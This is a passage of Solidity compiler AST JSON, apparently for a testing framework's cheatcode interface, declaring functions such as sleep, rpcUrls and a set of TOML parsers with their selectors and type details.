url][]`."},"functionSelector":"a85a8418","implemented":false,"kind":"function","modifiers":[],"name":"rpcUrls","nameLocation":"63596:7:13","parameters":{"id":14691,"nodeType":"ParameterList","parameters":[],"src":"63603:2:13"},"returnParameters":{"id":14697,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14696,"mutability":"mutable","name":"urls","nameLocation":"63648:4:13","nodeType":"VariableDeclaration","scope":14698,"src":"63629:23:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_array$_t_string_memory_ptr_$2_memory_ptr_$dyn_memory_ptr","typeString":"string[2][]"},"typeName":{"baseType":{"baseType":{"id":14692,"name":"string","nodeType":"ElementaryTypeName","src":"63629:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":14694,"length":{"hexValue":"32","id":14693,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"63636:1:13","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"},"nodeType":"ArrayTypeName","src":"63629:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$2_storage_ptr","typeString":"string[2]"}},"id":14695,"nodeType":"ArrayTypeName","src":"63629:11:13","typeDescriptions":{"typeIdentifier":"t_array$_t_array$_t_string_storage_$2_storage_$dyn_storage_ptr","typeString":"string[2][]"}},"visibility":"internal"}],"src":"63628:25:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":14704,"nodeType":"FunctionDefinition","src":"63735:42:13","nodes":[],"documentation":{"id":14699,"nodeType":"StructuredDocumentation","src":"63660:70:13","text":"Suspends execution of the main thread for `duration` milliseconds."},"functionSelector":"fa9d8713","implemented":false,"kind":"function","modifiers":[],"name":"sleep","nameLocation":"63744:5:13","parameters":{"id":14702,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14701,"mutability":"mutable","name":"duration","nameLocation":"63758:8:13","nodeType":"VariableDeclaration","scope":14704,"src":"63750:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":14700,"name":"uint256","nodeType":"ElementaryTypeName","src":"63750:7:13","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"63749:18:13"},"returnParameters":{"id":14703,"nodeType":"ParameterList","parameters":[],"src":"63776:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":14714,"nodeType":"FunctionDefinition","src":"63862:95:13","nodes":[],"documentation":{"id":14705,"nodeType":"StructuredDocumentation","src":"63814:43:13","text":"Checks if `key` exists in a TOML table."},"functionSelector":"600903ad","implemented":false,"kind":"function","modifiers":[],"name":"keyExistsToml","nameLocation":"63871:13:13","parameters":{"id":14710,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14707,"mutability":"mutable","name":"toml","nameLocation":"63901:4:13","nodeType":"VariableDeclaration","scope":14714,"src":"63885:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14706,"name":"string","nodeType":"ElementaryTypeName","src":"63885:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14709,"mutability":"mutable","name":"key","nameLocation":"63923:3:13","nodeType":"VariableDeclaration","scope":14714,"src":"63907:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14708,"name":"string","nodeType":"ElementaryTypeName","src":"63907:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"63884:43:13"},"returnParameters":{"id":14713,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14712,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14714,"src":"63951:4:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14711,"name":"bool","nodeType":"ElementaryTypeName","src":"63951:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"63950:6:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":14724,"nodeType":"FunctionDefinition","src":"64038:101:13","nodes":[],"documentation":{"id":14715,"nodeType":"StructuredDocumentation","src":"63963:70:13","text":"Parses a string of TOML data at `key` and coerces it to `address`."},"functionSelector":"65e7c844","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlAddress","nameLocation":"64047:16:13","parameters":{"id":14720,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14717,"mutability":"mutable","name":"toml","nameLocation":"64080:4:13","nodeType":"VariableDeclaration","scope":14724,"src":"64064:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14716,"name":"string","nodeType":"ElementaryTypeName","src":"64064:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14719,"mutability":"mutable","name":"key","nameLocation":"64102:3:13","nodeType":"VariableDeclaration","scope":14724,"src":"64086:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14718,"name":"string","nodeType":"ElementaryTypeName","src":"64086:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64063:43:13"},"returnParameters":{"id":14723,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14722,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14724,"src":"64130:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":14721,"name":"address","nodeType":"ElementaryTypeName","src":"64130:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"64129:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14735,"nodeType":"FunctionDefinition","src":"64222:139:13","nodes":[],"documentation":{"id":14725,"nodeType":"StructuredDocumentation","src":"64145:72:13","text":"Parses a string of TOML data at `key` and coerces it to `address[]`."},"functionSelector":"65c428e7","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlAddressArray","nameLocation":"64231:21:13","parameters":{"id":14730,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14727,"mutability":"mutable","name":"toml","nameLocation":"64269:4:13","nodeType":"VariableDeclaration","scope":14735,"src":"64253:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14726,"name":"string","nodeType":"ElementaryTypeName","src":"64253:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14729,"mutability":"mutable","name":"key","nameLocation":"64291:3:13","nodeType":"VariableDeclaration","scope":14735,"src":"64275:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14728,"name":"string","nodeType":"ElementaryTypeName","src":"64275:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64252:43:13"},"returnParameters":{"id":14734,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14733,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14735,"src":"64343:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_memory_ptr","typeString":"address[]"},"typeName":{"baseType":{"id":14731,"name":"address","nodeType":"ElementaryTypeName","src":"64343:7:13","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":14732,"nodeType":"ArrayTypeName","src":"64343:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_address_$dyn_storage_ptr","typeString":"address[]"}},"visibility":"internal"}],"src":"64342:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14745,"nodeType":"FunctionDefinition","src":"64439:95:13","nodes":[],"documentation":{"id":14736,"nodeType":"StructuredDocumentation","src":"64367:67:13","text":"Parses a string of TOML data at `key` and coerces it to `bool`."},"functionSelector":"d30dced6","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBool","nameLocation":"64448:13:13","parameters":{"id":14741,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14738,"mutability":"mutable","name":"toml","nameLocation":"64478:4:13","nodeType":"VariableDeclaration","scope":14745,"src":"64462:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14737,"name":"string","nodeType":"ElementaryTypeName","src":"64462:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14740,"mutability":"mutable","name":"key","nameLocation":"64500:3:13","nodeType":"VariableDeclaration","scope":14745,"src":"64484:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14739,"name":"string","nodeType":"ElementaryTypeName","src":"64484:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64461:43:13"},"returnParameters":{"id":14744,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14743,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14745,"src":"64528:4:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":14742,"name":"bool","nodeType":"ElementaryTypeName","src":"64528:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"64527:6:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14756,"nodeType":"FunctionDefinition","src":"64614:109:13","nodes":[],"documentation":{"id":14746,"nodeType":"StructuredDocumentation","src":"64540:69:13","text":"Parses a string of TOML data at `key` and coerces it to `bool[]`."},"functionSelector":"127cfe9a","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBoolArray","nameLocation":"64623:18:13","parameters":{"id":14751,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14748,"mutability":"mutable","name":"toml","nameLocation":"64658:4:13","nodeType":"VariableDeclaration","scope":14756,"src":"64642:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14747,"name":"string","nodeType":"ElementaryTypeName","src":"64642:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14750,"mutability":"mutable","name":"key","nameLocation":"64680:3:13","nodeType":"VariableDeclaration","scope":14756,"src":"64664:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14749,"name":"string","nodeType":"ElementaryTypeName","src":"64664:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64641:43:13"},"returnParameters":{"id":14755,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14754,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14756,"src":"64708:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_memory_ptr","typeString":"bool[]"},"typeName":{"baseType":{"id":14752,"name":"bool","nodeType":"ElementaryTypeName","src":"64708:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":14753,"nodeType":"ArrayTypeName","src":"64708:6:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bool_$dyn_storage_ptr","typeString":"bool[]"}},"visibility":"internal"}],"src":"64707:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14766,"nodeType":"FunctionDefinition","src":"64802:104:13","nodes":[],"documentation":{"id":14757,"nodeType":"StructuredDocumentation","src":"64729:68:13","text":"Parses a string of TOML data at `key` and coerces it to `bytes`."},"functionSelector":"d77bfdb9","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBytes","nameLocation":"64811:14:13","parameters":{"id":14762,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14759,"mutability":"mutable","name":"toml","nameLocation":"64842:4:13","nodeType":"VariableDeclaration","scope":14766,"src":"64826:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14758,"name":"string","nodeType":"ElementaryTypeName","src":"64826:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14761,"mutability":"mutable","name":"key","nameLocation":"64864:3:13","nodeType":"VariableDeclaration","scope":14766,"src":"64848:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14760,"name":"string","nodeType":"ElementaryTypeName","src":"64848:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"64825:43:13"},"returnParameters":{"id":14765,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14764,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14766,"src":"64892:12:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":14763,"name":"bytes","nodeType":"ElementaryTypeName","src":"64892:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"64891:14:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14776,"nodeType":"FunctionDefinition","src":"64987:101:13","nodes":[],"documentation":{"id":14767,"nodeType":"StructuredDocumentation","src":"64912:70:13","text":"Parses a string of TOML data at `key` and coerces it to `bytes32`."},"functionSelector":"8e214810","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBytes32","nameLocation":"64996:16:13","parameters":{"id":14772,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14769,"mutability":"mutable","name":"toml","nameLocation":"65029:4:13","nodeType":"VariableDeclaration","scope":14776,"src":"65013:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14768,"name":"string","nodeType":"ElementaryTypeName","src":"65013:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14771,"mutability":"mutable","name":"key","nameLocation":"65051:3:13","nodeType":"VariableDeclaration","scope":14776,"src":"65035:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14770,"name":"string","nodeType":"ElementaryTypeName","src":"65035:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65012:43:13"},"returnParameters":{"id":14775,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14774,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14776,"src":"65079:7:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":14773,"name":"bytes32","nodeType":"ElementaryTypeName","src":"65079:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"src":"65078:9:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14787,"nodeType":"FunctionDefinition","src":"65171:139:13","nodes":[],"documentation":{"id":14777,"nodeType":"StructuredDocumentation","src":"65094:72:13","text":"Parses a string of TOML data at `key` and coerces it to `bytes32[]`."},"functionSelector":"3e716f81","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBytes32Array","nameLocation":"65180:21:13","parameters":{"id":14782,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14779,"mutability":"mutable","name":"toml","nameLocation":"65218:4:13","nodeType":"VariableDeclaration","scope":14787,"src":"65202:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14778,"name":"string","nodeType":"ElementaryTypeName","src":"65202:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14781,"mutability":"mutable","name":"key","nameLocation":"65240:3:13","nodeType":"VariableDeclaration","scope":14787,"src":"65224:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14780,"name":"string","nodeType":"ElementaryTypeName","src":"65224:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65201:43:13"},"returnParameters":{"id":14786,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14785,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14787,"src":"65292:16:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_memory_ptr","typeString":"bytes32[]"},"typeName":{"baseType":{"id":14783,"name":"bytes32","nodeType":"ElementaryTypeName","src":"65292:7:13","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"id":14784,"nodeType":"ArrayTypeName","src":"65292:9:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage_ptr","typeString":"bytes32[]"}},"visibility":"internal"}],"src":"65291:18:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14798,"nodeType":"FunctionDefinition","src":"65391:111:13","nodes":[],"documentation":{"id":14788,"nodeType":"StructuredDocumentation","src":"65316:70:13","text":"Parses a string of TOML data at `key` and coerces it to `bytes[]`."},"functionSelector":"b197c247","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlBytesArray","nameLocation":"65400:19:13","parameters":{"id":14793,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14790,"mutability":"mutable","name":"toml","nameLocation":"65436:4:13","nodeType":"VariableDeclaration","scope":14798,"src":"65420:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14789,"name":"string","nodeType":"ElementaryTypeName","src":"65420:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14792,"mutability":"mutable","name":"key","nameLocation":"65458:3:13","nodeType":"VariableDeclaration","scope":14798,"src":"65442:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14791,"name":"string","nodeType":"ElementaryTypeName","src":"65442:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65419:43:13"},"returnParameters":{"id":14797,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14796,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14798,"src":"65486:14:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_memory_ptr_$dyn_memory_ptr","typeString":"bytes[]"},"typeName":{"baseType":{"id":14794,"name":"bytes","nodeType":"ElementaryTypeName","src":"65486:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"id":14795,"nodeType":"ArrayTypeName","src":"65486:7:13","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes_storage_$dyn_storage_ptr","typeString":"bytes[]"}},"visibility":"internal"}],"src":"65485:16:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14808,"nodeType":"FunctionDefinition","src":"65582:96:13","nodes":[],"documentation":{"id":14799,"nodeType":"StructuredDocumentation","src":"65508:69:13","text":"Parses a string of TOML data at `key` and coerces it to `int256`."},"functionSelector":"c1350739","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlInt","nameLocation":"65591:12:13","parameters":{"id":14804,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14801,"mutability":"mutable","name":"toml","nameLocation":"65620:4:13","nodeType":"VariableDeclaration","scope":14808,"src":"65604:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14800,"name":"string","nodeType":"ElementaryTypeName","src":"65604:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14803,"mutability":"mutable","name":"key","nameLocation":"65642:3:13","nodeType":"VariableDeclaration","scope":14808,"src":"65626:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14802,"name":"string","nodeType":"ElementaryTypeName","src":"65626:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65603:43:13"},"returnParameters":{"id":14807,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14806,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14808,"src":"65670:6:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"},"typeName":{"id":14805,"name":"int256","nodeType":"ElementaryTypeName","src":"65670:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"visibility":"internal"}],"src":"65669:8:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14819,"nodeType":"FunctionDefinition","src":"65760:110:13","nodes":[],"documentation":{"id":14809,"nodeType":"StructuredDocumentation","src":"65684:71:13","text":"Parses a string of TOML data at `key` and coerces it to `int256[]`."},"functionSelector":"d3522ae6","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlIntArray","nameLocation":"65769:17:13","parameters":{"id":14814,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14811,"mutability":"mutable","name":"toml","nameLocation":"65803:4:13","nodeType":"VariableDeclaration","scope":14819,"src":"65787:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14810,"name":"string","nodeType":"ElementaryTypeName","src":"65787:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14813,"mutability":"mutable","name":"key","nameLocation":"65825:3:13","nodeType":"VariableDeclaration","scope":14819,"src":"65809:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14812,"name":"string","nodeType":"ElementaryTypeName","src":"65809:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65786:43:13"},"returnParameters":{"id":14818,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14817,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14819,"src":"65853:15:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_memory_ptr","typeString":"int256[]"},"typeName":{"baseType":{"id":14815,"name":"int256","nodeType":"ElementaryTypeName","src":"65853:6:13","typeDescriptions":{"typeIdentifier":"t_int256","typeString":"int256"}},"id":14816,"nodeType":"ArrayTypeName","src":"65853:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_int256_$dyn_storage_ptr","typeString":"int256[]"}},"visibility":"internal"}],"src":"65852:17:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14830,"nodeType":"FunctionDefinition","src":"65934:111:13","nodes":[],"documentation":{"id":14820,"nodeType":"StructuredDocumentation","src":"65876:53:13","text":"Returns an array of all the keys in a TOML table."},"functionSelector":"812a44b2","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlKeys","nameLocation":"65943:13:13","parameters":{"id":14825,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14822,"mutability":"mutable","name":"toml","nameLocation":"65973:4:13","nodeType":"VariableDeclaration","scope":14830,"src":"65957:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14821,"name":"string","nodeType":"ElementaryTypeName","src":"65957:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14824,"mutability":"mutable","name":"key","nameLocation":"65995:3:13","nodeType":"VariableDeclaration","scope":14830,"src":"65979:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14823,"name":"string","nodeType":"ElementaryTypeName","src":"65979:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"65956:43:13"},"returnParameters":{"id":14829,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14828,"mutability":"mutable","name":"keys","nameLocation":"66039:4:13","nodeType":"VariableDeclaration","scope":14830,"src":"66023:20:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_string_memory_ptr_$dyn_memory_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":14826,"name":"string","nodeType":"ElementaryTypeName","src":"66023:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":14827,"nodeType":"ArrayTypeName","src":"66023:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"66022:22:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14840,"nodeType":"FunctionDefinition","src":"66125:106:13","nodes":[],"documentation":{"id":14831,"nodeType":"StructuredDocumentation","src":"66051:69:13","text":"Parses a string of TOML data at `key` and coerces it to `string`."},"functionSelector":"8bb8dd43","implemented":false,"kind":"function","modifiers":[],"name":"parseTomlString","nameLocation":"66134:15:13","parameters":{"id":14836,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14833,"mutability":"mutable","name":"toml","nameLocation":"66166:4:13","nodeType":"VariableDeclaration","scope":14840,"src":"66150:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14832,"name":"string","nodeType":"ElementaryTypeName","src":"66150:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":14835,"mutability":"mutable","name":"key","nameLocation":"66188:3:13","nodeType":"VariableDeclaration","scope":14840,"src":"66172:19:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":14834,"name":"string","nodeType":"ElementaryTypeName","src":"66172:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66149:43:13"},"returnParameters":{"id":14839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":14838,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":14840,"src":"66216:13:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":14837,"name":"string","nodeType":"ElementaryTypeName","src":"66216:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"66215:15:13"},"scope":15098,"stateMutability":"pure","virtual":false,"visibility":"external"},{"id":14851,"nodeType":"FunctionDefinition","src":"66313:113:13","nodes":[],"documentation":{"id":14841,"nodeType":"StructuredDocumentation","src":"66237:71:13","text":"Parses a string of TOML data at `key` and coerces it to 